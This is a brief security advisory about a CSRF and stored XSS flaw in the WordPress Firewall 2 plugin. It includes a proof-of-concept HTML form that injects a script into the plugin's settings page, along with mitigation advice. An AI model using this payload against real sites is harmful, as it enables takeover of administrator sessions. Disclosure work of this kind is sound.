Wordpress Plugin Firewall 2 CSRF/储存型XSS漏洞

### Description CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can ### Vulnerability HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page. ### Proof of concept Visit the following page, click on the submit button, then visit the plugin’s options page: ``` <form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\";> <input type=\"text\" name=\"email_address\" value=\"&quot;>&lt;script>alert(1)&lt;/script>\"> <input type=\"text\" name=\"set_email\" value=\"Set Email\"> <input type=\"submit\"> </form> ``` In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing. ### Mitigations Disable the plugin until a new version is released that fixes this bug. ### Disclosure policy dxw believes in responsible disclosure.
